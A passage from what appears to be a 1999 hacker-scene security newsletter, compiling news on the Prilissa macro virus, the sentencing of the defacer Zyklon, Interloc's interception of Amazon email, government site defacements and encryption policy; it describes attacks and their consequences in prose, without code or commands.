The virus appears in mailboxes purporting to be a message from the last
infected user. The body of an email will read "This document is very
important and you've GOT to read this!!"
The document itself can be whatever Microsoft Word file the last victim was
using when the virus sent itself out, raising the risk that confidential
documents could accidentally be released to a huge number of people.
Although the virus can only replicate itself through Microsoft Outlook, the
payload can infect any PC running Windows 95 or 98. Put another way,
consumers who use Eudora Pro can get infected, but they can't spread the
virus.
Unlike a dangerous new variant seen with the "Bubbleboy" virus, Prilissa
requires a victim to click on the infected email attachment in order to
launch itself and infect the users' computer.
Some existing antivirus protections against Melissa will stop Prilissa from
spreading without being updated, Viveros said.
MSNBC;
Christmas virus hits big companies
W97M/Prilissa a bug whose payload is set to go off
Christmas Day strikes Fortune 500 firms on three
continents
By Jim Kerstetter
PC Week
ZDNN
Nov. 19 Its called the W97M/Prilissa virus. But
a better name for it would be the Grinch virus.
Anti-virus researchers at Network Associates
Inc. said Friday that 10 Fortune 500 companies
on three continents have been hit with a new
virus called W97/Prilissa. Prilissa is a nasty
variant on two better known attacks the
Melissa worm and the PRI virus. The virus
depends on the Windows 95 and 98 operating
systems and the Word 97 word processing
application.
IF OPENED, IT WILL E-MAIL itself to the first 50
names on a computers Outlook or Outlook Express e-mail
client.
(Windows, Outlook and Outlook Express are products
of Microsoft, which is a partner in MSNBC.)
This is probably the fastest infection rate weve seen
since Melissa, said Sal Viveros, anti-virus product manager
at Network Associates, in Santa Clara, Calif. The virus uses
macro commands similar to those of Melissa to replicate
itself.
But the virus itself wont go off until Christmas day.
That means it wont have much of an impact on companies,
which arent likely to be open on that day, even if it should
go undetected. But there is a big threat to home PC users,
particularly unsuspecting children logging onto the computer
to play with their new games on Christmas.
The Dr. Suess analogies are endless.
The virus itself looks for a registry key to verify if the
local system has been infected. If it hasnt, the virus creates
a Microsoft Outlook e-mail message with the subject line
Message From (Office 97 user name) and a message
body that says This document is very Important and
youve GOT to read this!!!
The first 50 listings from all address books are
selected, along with an attachment the infected
document, whatever it is.
If the date is Dec. 25, the virus runs a destructive
payload to overwrite the existing C:/AUTOEXEC.BAT file
with instructions to format the C: drive.
The virus will not run on Windows NT. Another
message is displayed on Word 97, adding:
You Dare Rise Against Me ... The Human Era is
Over, The CyberNET Era Has Come!!!
Most anti-virus vendors are expected to have a
definition update and fix prepared within the next few hours.
Its unclear who will carve the roast beast.
Symantec;
W97M.Pri.Q / W97M.Prilissa.A
Detected as: W97M.Antisocial.G
Aliases: W97M.Melissa.W, W97M.Prilissa.A
Area of Infection: MS Word Document
Likelihood: Common
Characteristics:Polymorphic, Trigger
Norton AntiVirus users can protect themselves from this virus by downloading
the current virus definitions either through LiveUpdate or from the Virus
Definition download page
Technical Notes
The W97M.Pri.Q virus infects Word 97 documents. It also spreads by
sending an infected document as an attachment to an e-mail message. This is
another variant of the W97M.Melissa.A virus. Because of the unknown virus
and variant detection technology in Norton AntiVirus, the currently virus
definitions will detect this new virus as W97M.AntiSocial.G. This technology
will allow Norton AntiVirus users to detect and repair W97M.Pri.Q without
having a signature for this specific virus. Symantec AntiVirus Research Center
will update the virus definitions to detect this virus as W97M.Pri.Q in the
future virus definition files.
When an infected document is opened, the virus disables virus protection
security settings, conversion confirmation and recently opened file list. The first
time the virus is executed on a system, it sends e-mail using MS Outlook to
the first 50 addresses in each of the address lists. The message contains
"Message From {username}" in the subject line where {username} is the user
name on the system. The body of the message contains "This document is very
Important and you've GOT to read this !!!". The infected document is sent as
an attachment to the message. The virus modifies the Windows registry so that
it does not send e-mail upon subsequent execution of the virus.
Next, the virus checks the date on the system to trigger its payload. On Dec.
25, the following text is displayed in a message box:
©1999 - CyberNET
Vine
Vide
Vice
Moslem Power Never End
You Dare Rise Against Me
The Human
Era is Over, The CyberNET Era Has
Come !!!
Then, the virus copies itself to the global template in NORMAL.DOT. Once,
NORMAL.DOT is infected, the virus infects documents when the file is
closed from Word. It also disables the Tools/Macro menu so that the viral
macros are hidden.
Some of the variable and function names in the viral code change upon
replication. The virus keeps a list of labels in its code. Upon infection, the virus
randomly changes each of the labels to another label in the list.
Payload
On December 25, several payloads are triggered. The virus displays the
message box mentioned above. It also overlays several colored shapes onto
the currently opened document. In addition, it overwrites the
AUTOEXEC.BAT to format the C: drive and display the following text upon
the next reboot of the system:
Vine
Vide
Vice
Moslem Power Never End
Your Computer Have Just Been
Terminated By -= CyberNET =- Virus !!!
Update Virus Definitions
Norton AntiVirus users can protect themselves from this virus by downloading
the current virus definitions either through LiveUpdate or from the Virus
Definition download page
Write-up by: Wason Han
November 19, 1999
@HWA
06.0 Norway Sets Wiretapping Agreement
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by luyten
The Norwegian justice department, in cooperation with
Norway's two biggest telecommunications companies
(NetCom and Telenor), have invested 9.2 million dollars
on a technical and economic solution to tap into and
listen to any GSM phone.
Nettavisen - Norwegian
http://www.nettavisen.no/it_nyheter/81912.html
@HWA
07.0 Cable Pirates Busted in Cali
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
When Time Warner detectives saw an advertisement for
cable boxes in a Filipino newspaper they called the
Sheriffs Department. After following a trail form a Post
Office box in Nevada to to a business in Las Vegas they
arrived at the home of Bau Nguyen in La Canada
Flintridge, California. There investigators seized over 350
illegal cable descrambling boxes used for pirating cable
TV. The boxes are estimated to be worth $2 million.
(They also supposedly seized an 'e-prompt' burner.
Bwaahahaha. Hmmm, 350 boxes for 2mil that is almost
6 Grand per box, yeah right.)
LA Times
http://www.latimes.com/news/state/19991120/t000105828.html
(Membership)
@HWA
08.0 Pandora 4.0 Beta2 Now Available
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by WeldPond
Pandora is a set of tools for testing the security and
insecurity of Novell Netware. Pandora v4 Beta 2, both
offline and online versions, have been released by the
Nomad Mobil Research Center.
Pandora Home Page
http://www.nmrc.org/pandora/index.html
@HWA
09.0 Attrition Adds Features
~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by cult_hero
Attrition.org has done an overhaul on their defaced
mirror archive. On top of significant updates to existing
mirrors, they have created several new targeted mail
lists to help notify people of defaced sites. 'defaced-gm'
caters to individuals that wish to stay abreast of the
latest Government and Military defacements. A second
new list 'defaced-alpha' is designed for law enforcement
and security admins that wish to be notified
immediately, via alpha-numeric pager.
Attrition Mirror
http://www.attrition.org/mirror/attrition/
List Information
http://www.attrition.org/security/lists.html
Note: this info has been included in our mailing lists section - Ed
@HWA
10.0 Zyklon Sentenced to 15 Months
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by altomo and William Knowles
On Friday Zyklon (Eric Burns) plead guilty in U.S. District
Court in Alexandria, Va., to a single felony count of
intentionally breaking into one computer, but admitted
involvement in numerous other electronic attacks. He
has been sentenced to 15 months in federal prison and
ordered to pay $36,240 in restitution. In addition he will
be banned from using a computer for three years after
his release. Zyklon has denied being directly involved
with the defacement of the White House web page
earlier this year. He said he knew who was behind the
defacement but that he would not reveal their
identities. Prosecutors claim that Zyklon caused $40,000
damage to government and business web sites. Zyklon
is expected to report to prison in four to six weeks.
HNN Mirror of White House Defacement
http://www.hackernews.com/archive/1999/whitehouse/gh.html
Herald Net
http://www.heraldnet.com/Stories/99/11/20/11676045.htm
The Straits Times
http://www.straitstimes.asia1.com/cyb/cyb1_1122.html
Associated Press - Via Yahoo
http://dailynews.yahoo.com/h/ap/19991122/tc/white_house_hacker_3.html
Herald;
Shoreline hacker gets 15-month
sentence
Washington Post and Herald staff
A 19-year-old from Shoreline who broke into computer systems around the
Washington, D.C., area was sentenced Friday to 15 months in prison for
infiltrating and altering World Wide Web sites used by Vice President Al
Gore, NATO and the U.S. Information Agency.
Eric Burns of Shoreline used the name "Zyklon" and often left love notes for a
high school classmate named Crystal on the sites that he attacked.
One of his assaults closed down the USIA site for eight days, court
documents say.
Burns also compromised computer systems operated by the Toronto Star
newspaper and the Chinese government. He often left behind a signature love
letter to Crystal and the phrase "Hack by Zyklon."
Fixing the damage he caused cost between $40,000 and $120,000. The
hackings occurred during a two-year period, ending earlier this year.
After an FBI investigation, a federal grand jury indicted Burns in May and
charged him with three counts of computer intrusion.
Burns originally faced a possible 15-year prison sentence. But prosecutors
agreed to drop two of the charges in exchange for a guilty plea to one count
and an agreement to pay $36,240 in restitution.
After the plea, Burns faced a maximum five years in prison and a $250,000
fine.
At the hearing Friday morning in federal court in Alexandria, Va., Burns
apologized for his activities.
"I disgust myself," he told U.S. District Judge James Cacheris. "I am very
ashamed of what I have done."
Cacheris said that under the sentencing guidelines, Burns' computer crime was
particularly serious because his actions involved use of a "special skill," but he
gave him credit for "acceptance of responsibility" because Burns pleaded
guilty.
-=-
Straits Times;
NOV 22 1999
Teen jailed for hacking into US
govt sites
WASHINGTON -- A 19-year-old was jailed for 15
months for breaking into several highly-protected United
States Internet sites, including that of Vice-President Al
Gore, and declaring his love for a classmate on them.
For two years, Eric Burns broke into the websites of the
US Information Agency (USIA), Nato and other
governmental agencies, the Washington Post reported
on Saturday.
One amorous declaration he posted on the sites was:
"Crystal, I love you."
But USIA did not like his romantic overtures and had to
shut down its server for eight days, costing the agency
tens of thousands of dollars in repairs.
Burns, of Washington, agreed to pay US$36,240
(S$60,520) to his victims.
Burns, described by his attorney Ralph Hurvitz as a
loner, told a US federal judge on Friday that he had no
computer training, but he created a hacking program
with computer books he bought in stores. -- AFP
-=-
Assoc. Press;
Monday November 22 9:54 PM ET
White House Hacker Faces Prison
By TED BRIDIS Associated Press Writer
WASHINGTON (AP) - At age 19, hacker Eric Burns has already wandered the
underpinnings of the Web where few had gone before, including an illicit
visit inside computers at the White House in May.
``I didn't really think it was too much of a big deal,'' said Burns -
hacker name Zyklon - who admitted responsibility for some of the most
sensational attacks on corporate and government Internet sites.
He was sentenced Friday in U.S. District Court in Alexandria, Va., to 15
months in prison and three years of supervised probation and ordered to
pay restitution of $36,240. And under a judge's order, he won't be allowed
to touch a computer for three years after his release.
Burns pleaded guilty Sept. 7 to a single felony count of intentionally
hacking into one computer, but he admitted involvement in the spate of
electronic assaults.
Burns was initially indicted May 13 on charges of breaking into computers
for the U.S. Information Agency and two businesses. That was four days
after the White House Internet site - at www.whitehouse.gov - was
electronically assaulted.
Initially, Burns said he wasn't directly involved in that White House
attack in which the altered site included the phrase, ``following peeps
get some shouts'' - hacker slang for ``hello'' - and listed a dozen names,
including Zyklon.
Zyklon is the name of a poison gas used by Nazis against Jews.
But federal prosecutors said Burns boasted of the White House attack
online even before it happened, and Burns admitted at his sentencing
Friday he was among three people who altered the site briefly to show a
black Web page with the names of hacker organizations, along with
messages, ``Your box was own3d,'' and, ``Stop all the war.''
He said Monday in a telephone interview from his home in Shoreline, Wash.,
that he will refuse to identify his two partners to the Secret Service,
partly because he believes the criminal penalties for hackers are too
steep. His punishment didn't fit his crime, he insisted.
``I'd rather not have what happened to me happen to anyone else,'' Burns
said. ``I don't really agree with the kind of sentencing range there is
for the crime.''
The seriousness of the trouble facing Burns didn't sink in, he admitted,
even after FBI agents raided his home and took his computer.
``I just gave them a confession,'' Burns said. ``I didn't think it was too
big a deal.''
Prosecutors indicated otherwise.
U.S. Attorney Helen Fahey said Burns attacked computers on the Internet
controlling Web sites for NATO, a U.S. embassy and consulates and even
Vice President Al Gore. The USIA Web site was shut down for eight days
after Burns' attack.
All told, the attacks cost the government and businesses more than
$40,000, prosecutors said.
When the White House site was vandalized, experts ``had to shut down the
Web server, disconnect both the public and private computer networks from
the Internet for two days and reconfigure the computer system,'' Fahey
said in a statement.
Burns expects to report to federal prison in four to six weeks, which he
hopes will let him spend Thanksgiving and the holidays with his family.
With time off for good behavior, his lawyer told him he might spend as few
as 13 months behind bars.
Although his sentence says he won't be allowed to use a computer during
three years of supervised probation when he's released, he's already
planning to ask his probation officer whether he'll be allowed to use one
for work.
``I really don't know'' how the arrest and time in prison will affect his
future, Burns said. ``Hopefully, it won't impact it too bad.''
@HWA
11.0 Email Stolen From Amazon.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by lowearthorbital
A company known as Interloc, a rare used book dealer
based in Greenfield MA, had been charged with 10
counts of unlawfully intercepting e-mail messages and
one count of unauthorized possession of passwords with
intent to defraud. Prosecutors said that between
January and June of 1998, Interloc used an altered
electronic mail program to automatically intercept and
store thousands e-mail messages from Amazon.com that
were intended for book dealers. Interloc has settled out
of court and has agreed to pay a $250,000 fine. (It is
hard to tell from these articles exactly how this
happened but it looks like Interloc owned the ISP from
which it stole the emails. Glad the reporters cleared
that up.)
Boston Globe
http://www.boston.com/dailyglobe2/326/nation/email.htm
Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500060697-500100305-500418716-0,00.html
Wired
http://www.wired.com/news/reuters/0,1349,32704,00.html
Boston Globe;
Internet merchant accused of intercepting rival's e-mail
By Steven Wilmsen, Globe Staff, 11/23/99
An Internet bookseller based in Greenfield has been accused of using a
computer program to intercept thousands of e-mail messages illegally from
Amazon.com, possibly to steal corporate strategies from its giant on-line
rival, federal prosecutors said yesterday.
The case is one of the first times federal authorities have charged that a
company read e-mail between another firm and its customers in an apparent
attempt to gain an advantage, prosecutors said. They say the case highlights
an imminent danger in the fiercely combative world of Internet commerce:
on-line entrepreneurs who may be tempted to gather information
surreptitiously on their competitors.
``It's been extremely common to see hackers who get information just
because they can get it,'' said Jeanne M. Kempthorne, the assistant US
attorney in Boston prosecuting the case. ``What's new about this is to see it
in the corporate setting.''
In a filing yesterday in US District Court in Boston, prosecutors said that in
January 1998, Greenfield-based Interloc altered an electronic mail program
so that it automatically intercepted and stored e-mail messages from
Amazon.com that were intended for book dealers.
Interloc's new corporate owner yesterday agreed to settle the case, in which
Interloc was charged with 10 counts of unlawfully intercepting e-mail
messages and one count of unauthorized possession of passwords with
intent to defraud. The owner also agreed to pay a $250,000 fine. ``From the
company's standpoint, this is old news,'' said Ethan Schulman, a lawyer for
Alibris, an Internet bookseller based in Emeryville, Calif., which acquired
Interloc last year. ``This was an inherited problem, and it's a chapter they'd
like to close.''
Schulman also said ``appropriate disciplinary action'' has been taken against
Interloc employees involved in the e-mail interceptions. He declined to
elaborate.
According to prosecutors, between January and June of 1998, Interloc
intercepted thousands of Amazon.com e-mail messages and stored them in a
computer system. In one two-week period alone, 3,067 e-mail messages
were intercepted, prosecutors said.
Prosecutors said they have not determined exactly how Interloc used the
messages once they were sent to a database but that it appeared the firm
wanted to learn about Amazon.com's dealings with booksellers who were
also Interloc customers.
Interloc specialized in rare and used books. It also operated a small Internet
provider service, similar to larger services like America Online or Netscape,
called Valinet.
Interloc's customers, many of them booksellers, had e-mail accounts at
Valinet through which they would receive messages from Ama zon.com.
Interloc programmed a computer to sort out the e-mail from Amazon.com,
prosecutors said. In addition, Interloc employees broke into other Internet
service providers and stole customer passwords, they said.
``It certainly appears they did this for competitive reasons, but the law
doesn't care whether you're getting corporate secrets or grocery lists,''
Kempthorne said. ``The only thing that matters in terms of the law is that
they intercepted it.''
Schulman said that while Alibris has acknowledged that Interloc improperly
intercepted e-mail, there is no evidence that it did so to spy on
Amazon.com. He said the e-mail was intercepted in the course of trying to
determine the source of a computer glitch that was interferring with customer
orders.
``No confidential customer information was obtained or misused,'' he said.
But he conceded that ``there were some people doing things they shouldn't
have been doing.''
While the court filings didn't name specific Interloc employees or say how
many were involved, prosecutors said yesterday that the Interloc employees
who programmed the e-mail interceptions acted with the knowledge of
company officials. Prosecutors also said some believed they had done
nothing wrong.
``There is a computer culture out there that says, `If you can do it, God bless
you,' no matter what the law is,'' Kempthorne said. ``They think of this as
some sort of lawless frontier. Just because they're brilliant doesn't mean they
don't have to abide by the rules the rest of us live by.''
Indeed, observers said that corporate espionage on the information
superhighway was almost inevitable, in part because the early days of the
Internet were dominated by many individuals who thought of hacking as an
art form, not as a crime. That culture presents a threat to the rapidly
expanding number of companies that want to do business on line but also
need to protect proprietary information.
``The Internet is absolutely huge,'' said Pete Tasker, executive director of
security and information operations of Medford-based Mitre Corp. ``That
means there are lots of ways to listen in if you really want to. This is the first
time I've heard of a case like this, but it's what we all worry about.''
-=-
Nando Times;
Online bookseller settles case of intercepted Amazon e-mail
Copyright © 1999 Nando Media
Copyright © 1999 Associated Press
BOSTON (November 23, 1999 8:17 a.m. EST http://www.nandotimes.com) - An
Internet bookseller has agreed to pay $250,000 to settle federal charges
its coporate predecessor snagged e-mails sent by giant rival Amazon.com
and possessed unauthorized password files.
Alibris, based in Emeryville, Calif., was charged in a criminal
information Monday with 10 counts of unlawful interception of e-mail
messages and one count of unauthorized possession of passwords with intent
to defraud.
The information focuses on the company's corporate predecessor - the now
defunct Interloc Inc., an online bookseller that also provided Internet
service in the Greenfield area through a business called Valinet.
Alibris, which faced a maximum penalty of $250,000 on each count, agreed
Monday to settle the case for $250,000.
"We're a different company in a different business now, and it was just
time to clean this stuff up," said Martin Manley, Alibris' president.
The information alleges that between January and June 1998,
Alibris/Interloc intercepted e-mail messages from Amazon.com to
Alibris/Interloc clients that used Interloc e-mail addresses. Many of the
Interloc clients were themselves booksellers.
Prosecutors say the interceptions were designed, in part, to gain
competitive advantage for Alibris' online book-selling business.
In January of last year, U.S. Attorney Donald K. Stern said, Interloc
altered its e-mail service so that it automatically intercepted and stored
e-mail addressed from Amazon.com to Interloc's book dealer customers.
Thousands of e-mail communications were intercepted, Stern said, but no
confidential customer financial information was obtained or misused.
Prosecutors also allege Interloc kept unauthorized copies of the
confidential password files and customer lists of its competitor Internet
service providers.
Ethan Schulman, a lawyer for Alibris, said that while Alibris is
acknowledging that Interloc improperly intercepted e-mail, the intent was
not to spy on Amazon.com but to trace the source of a computer glitch.
-=-
Wired;
Alibris Pleads Guilty to Snooping Reuters
2:00 p.m. 22.Nov.1999 PST Alibris, an online rare bookseller, pleaded
guilty to intercepting emails between its clients and online retail giant
Amazon.com, a federal prosecutor in Boston said Monday.
Alibris agreed to pay US$250,000 to settle criminal claims by US Attorney
Donald Stern that it intercepted email messages to its clients from
Amazon.com.
Alibris, of Emeryville, California, said it no longer offers clients email
service, but its corporate predecessor, Interloc, did.
Stern's office contends that Interloc intercepted the messages between its
customers and Amazon.com in part to gain commercial advantage by gathering
information on its customers' purchases and obtaining market data.
Alibris admits to the wrongdoing but said it gained no commercial
advantage because it already knew what its customers were buying.
Rather, according to president and CEO Martin Manley, the company broke
the law when it tried to rectify complaints from some clients who said
they weren't receiving email messages from Amazon.com. In tracking such
messages to determine the problem, the company unlawfully captured
the messages, although Manley said it did not read them.
"The conclusions reached by the government in this, with respect to
motive, are not necessarily ones we share," Manley told Reuters.
Assistant US Attorney Jeanne Kempthorne, who is prosecuting the case, said
there is no evidence anyone suffered financial harm as a result of the
conduct, which occurred in 1998 and involved nearly 4,000 electronic
messages.
But, she added, "I think the violation of privacy is a material harm."
Copyright 1999 Reuters Limited.
@HWA
12.0 Industry Pressures White House on Crypto Exports
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Simple Nomad
A large number of CEOs and other business leaders from
numerous U.S. software and technical companies have
signed a letter sent to White House Chief of Staff John
Podesta imploring him to stick to the promises made last
September regarding relaxing the export of encryption
technology. TechNet, the lobbying group, is worried
that the White House may alter their original plans and
include rigid definitions that would limit the
effectiveness of the entire initiative.
Computer Currents
http://www.currents.net/newstoday/99/11/22/news2.html
Daily News
Crypto Fears
By Robert MacMillan, Newsbytes.
November 22, 1999
As insidious fears that the administration's proposed
encryption policy changes won't be as tech-friendly as the
White House said they would be, members of high-tech
lobbying firms are joining the letter writing campaign to urge the
administration to stay on the straight-and-narrow.
The Technology Network (TechNet) lobbying group joined what
until now has been a mainly congressional letter-writing
campaign to make sure that the administration sticks to the
essence of the strong encryption control policies that it
announced in September.
The TechNet letter, signed by 23 members, and sent to White
House Chief of Staff John Podesta, expresses concern over
recent reports that the encryption regulations, scheduled for a
Dec. 15 release, "may include restrictive definitions of
'government' and 'retail' which may significantly limit the
effectiveness of the regulations."
The letter was signed by, among others" 3Com Corp. Chief
Executive Officer (CEO) Eric Benhamou; Scientific Learning
Corp. CEO Sheryle Bolton; America Online Inc. CEO Steve
Case; Autoweb.com CEO Dean DeBiase; Texas Instruments
CEO Thomas Engibous; Kleiner Perkins Caufield & Byers
partner Floyd Kvamme; Oracle Corp. President and Chief
Operating Officer (COO) Ray Lane; Sun Microsystems Inc.
CEO Scott McNealy; Marimba Software CEO Kim Polese;
Novell Inc. CEO Eric Schmidt; Software and Information
Industry Association President Ken Wasch; and former
Hewlett-Packard Co. CEO John Young.
"We urge you to ensure that the new regulations are drafted in
a manner that provides real improvements in the ability of
American companies to export encryption products," said the
TechNet letter. "We are concerned that the new regulations
may fall short of realizing the promise of the announcement by
failing to level the playing field for US manufacturers in the
global encryption marketplace."
"Our nation's restrictive export policies...have allowed foreign
encryption manufacturers to make significant gains,
threatening America's leadership position in this important
technology sector," the letter also stated. "It is conceivable
that one day the United States will be forced to rely on
foreign-made encryption to protect our own critical
infrastructure. We urge you to ensure that the new regulations
are drafted in a manner that provides real improvements in the
ability of American companies to export encryption products."
One of the reports surfacing about draft versions of the
regulations is that a more stringent review would apply to
products sold via the Internet as opposed to stores.
TechNet said that "retail" products should not be defined by
how they are distributed, because this could create a
"competitive anomaly where two products that provide similar
end-user functionality would be treated differently because one
is delivered in a box while another is delivered as a service over
the Net."
TechNet also worried that the regulations might define
"government" as not only agencies and official government
bodies, but as companies that include partial government
ownership.
The group also said that open source code should not require
individual licenses from the Commerce Department because it
"would have a dramatically inhibiting impact on these new
movements which are providing a source of innovation and
competition in the marketplace."
Another TechNet concern is that Commerce Department
reviews should be limited to 30 days.
Commerce Department officials in the Bureau of Export
Administration did not have any immediate comment on the
letters, which also have come from House Republican
leadership and Reps. Robert Goodlatte, R-Va., and Zoe
Lofgren, D-Va., but BXA Chief William Reinsch noted last week
that the regulations are in a draft form and changes still are in
the works.
Reported by Newsbytes.com, http://www.newsbytes.com .
@HWA
13.0 Telenor Nextel Servers Compromised
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by rootxs
Telenor Nextel, Norway's largest telecommunication
provider, had one of their servers compromised. The
system contained information on the company's 500
business partners. The electronic intruders could read
and alter information regarding customers. They gained
access to the information of 20 of thier customers. No
altering of database information was reported. The
accounts are now closed, and Telenor has control over
the situation. (We apologize for the choppy information
but our Norwegian isn't what it used to be.)
TV 2 hovedside" - Norweigen
http://www2.tv2.no/nyheter/tv2/owa/web_nyheter.vis_nyhet?xid=363081&kategori=1
@HWA
14.0 FBI Wants Dollars for Information Security
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Simple Nomad
The FBI is hoping that the Information Sharing Initiative
currently stuck in Congress will provide it with much
needed funding to boost its information security. They
are claiming that they are relying on outdated
computers and networks. If funded the initiative will
give investigators quick access to numerous databases
and computer files now scattered on systems across
the agency.
federal Computer Week
http://www.fcw.com/pubs/fcw/1999/1122/fcw-polfbi-11-22-99.html
NOVEMBER 22, 1999
FBI bets on new IT initiative for security
With no new security funds expected for fiscal 2000, the
agency hopes its new project will address assurance issues
BY L. SCOTT TILLETT (scott_tillett@fcw.com)
Anticipating no new money for information security, the FBI is hoping a
major computer project currently hung up in Congress will provide the new
technology needed to make its information more secure, a top agency official
said last week.
Mark Tanner, information resources manager at the FBI, said he expected no
"enhancement and maybe some reduction" for information assurance in its
fiscal 2000 budget, which Congress has yet to pass. "We need more [money],
but doesn't everybody?" he said.
But many of the agency's concerns stem from its reliance on outdated
computers and networks. The Information Sharing Initiative, waiting for
funding from Congress, would address that problem, Tanner said.
ISI was designed to give investigators quick access to the many databases
and computer files now scattered on systems across the bureau, improving the
speed and quality of their work. The program would equip FBI employees
with up-to-date desktop computers, software and networking technology.
Tanner, speaking Thursday at a meeting of the Industry Advisory Council,
said an up-to-date computer infrastructure was an essential piece to assuring
the quality and security of information. "I think we need to maintain a modern
infrastructure," he said. "We need to have a well-stocked toolbox."
The quality of some components of the FBI toolbox is "awful," said Tanner in
an interview after his presentation. He said the agency still has many older,
slower 486 PCs and that some of the agency's routers and network
equipment is as old as 10 years.
FBI officials have requested $430 million for ISI over five years. In the latest
version of the bill to fund the FBI, however, Congress, concerned about the
FBI's mismanagement of other major information technology projects, has set
aside only $20 million for ISI in fiscal 2000, plus an additional $60 million the
agency did not use in fiscal 1999.
Still, technology may not be an adequate defense, said James Litchko, a
Kensington, Md.-based information security consultant.
"You can put a lot of technology in place, but if you don't test it, there could
be something in there that could cause you problems," he said. "You can wall
yourself, but somebody's going to dig a hole."
But agency and industry officials say the FBI is not alone in feeling the budget
squeeze when it comes to information security, given the tight spending caps in
place since 1997.
"The funding [for information security] isn't there to do anything significant and
probably isn't going to be there for another one or two years," said Donald
Hagerling, information systems security program manager at the Treasury
Department, speaking at an event last month sponsored by the Bethesda,
Md., chapter of Armed Forces Communications and Electronics Association
International.
"I'm not getting a sense from any of the agencies that I call on that there is
program money set for the acquisition of specifics within [information]
assurance and protection," said Charles Viator Jr., sales manager for
Protegrity Inc., a software company that sells information security products.
Tanner said the FBI spends about $200 million annually on IT, but he could
not say how much the agency spends on security.
@HWA
15.0 JavaScript and ActiveX May Be Banned by DOD
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Space Rogue
The Department of Defense is reportedly considering
banning ActiveX and JavaScript from military computers
citing security concerns. (I have it turned off, and life
continues. At least they are doing something.)
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2398182,00.html?chkpt=zdnntop
(Sorry couldn't cut and paste this article for some reason.... - Ed)
@HWA
16.0 Is It Worth It Followup
~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Space Rogue
Yesterdays Buffer Overflow article "Is It Worth It" has
prompted so many questions that the author will be
writing a follow up article. So if you have questions be
sure to send them in to the author. We also have a
response from the other side. An active web page
defacer, YTCracker, has told us why he does it. Look for
both articles next week.
@HWA
17.0 YTCracker Takes Out Gov Sites
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by c0nd0r
Claiming a lack of security as the reason YTCracker has
defaced the sites of NASA's Goddard Flight Center
international page, the Bureau of Land Management's
National Training Center, and the Defense Contracts
Audit Agency. He claims the admins of the sites where
warned beforehand of the vulnerabilities but chose not
to patch the holes. (On Monday HNN will publish an
exclusive article by YT Cracker about the reasons for
his defacements.)
HNN Cracked Pages Archive
http://www.hackernews.com/archive/crackarch.html
Wired
http://www.wired.com/news/politics/0,1283,32729,00.html
Cracker Launches Attack on NASA
by Leander Kahney
4:00 p.m. 23.Nov.1999 PST The Web pages of three US Government agencies,
including NASA's Goddard Flight Center, have been defaced by a cracker who
is worried that US government security systems are vulnerable to
cyberattack.
The front pages of the sites for NASA's Goddard Flight Center
international page, the Bureau of Land Management's National Training
Center, and the Defense Contracts Audit Agency, on Wednesday were replaced
with a page showing a cartoon of a hooded hacker wearing a peace
symbol necklace and a message warning of Web site security holes.
"To the US government and military -- I have warned you about these
security flaws," wrote ytcracker on the Flight Center's front page.
"Please secure our military systems to protect us from cyber attack.
Identifying himself as a 17-year-old high school student from Colorado
Springs, Colorado, ytcracker (for whitey-cracker) said he defaced the
sites as a warning to the US government.
"I'm not about being malicious," he said. "A lot of other countries are
planning cyberwarfare on the US government. If other countries have
malicious intent, how can we as US citizens feel safe? I did this to let
them know they really have to prepare for these things."
Ytcracker said he chose the sites after scanning numerous government
agencies for those most vulnerable.
The three sites were penetrated using a well-known trick that should have
been known to the administrators and plugged, ytcracker said.
Furthermore, he said, the administrators had been recently notified of the
security hole but had ignored the warnings.
"It seems the only way to get their attention is to show them," he said.
The DCAA was cracked early Wednesday, followed by BLM and then NASA early
Wednesday afternoon, ytcracker said.
Speaking only minutes after cracking the NASA site, ytcracker declined to
give his real name but said he has done very little to cover his tracks.
As well as being able to follow the sites' server logs, which track
visitors to the site, a link on the cracked NASA page leads more-or-less
straight to his home page.
"If they want to find me, it won't be very hard," he said. "I don't want
them to misinterpret my actions. I didn't do it to offend them or show
them up. It's basically to alert them. All I can do is pray to God and
hope they do."
NASA spokeswoman Janet Ruff said the organization took security "very
seriously... when things like this happen they require a fast response."
Ruff said NASA was continuing to investigate the breach, but that she
could not comment further.
However, B.K. DeLong, curator of Attrition.org's Web site defacement
archive, which has mirrored the cracks, said the US government doesn't
take the defacement of its Web sites kindly.
DeLong noted that another cracker, known as Zyklon, was sentenced to 15
months in jail and a $36,000 fine last week for defacing the White House's
Web page.
DeLong said the cracks were significant security breaches.
"Any government, military, or high-profile corporation is a significant
hack," he said. "It shows once again that they're lacking in security."
DeLong said the crack exploited the remote administration capabilities of
Windows NT systems and isn't particularly difficult to perform.
Before hanging up, ytcracker said: "I'm very much a patriot. I promote the
same democratic ideals as the government endorses. I believe strongly in
peace and harmony."
@HWA
18.0 UK Bans Key Escrow
~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by gladius
The "Electronic Communications Act 2000" was
announced on the 19th of November. The bill now
explicitly rules out key-escrow, and gives electronic
digital signatures the same weight un
der law as signed
printed papers.
Electronic Communications Act 2000
http://www.parliament.the-stationery-office.co.uk/pa/cm199900/cmbills/004/2000004.htm
@HWA
19.0 White Papers on Zero Knowledge
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
The Chief Scientist for Zero Knowledge Systems, Ian
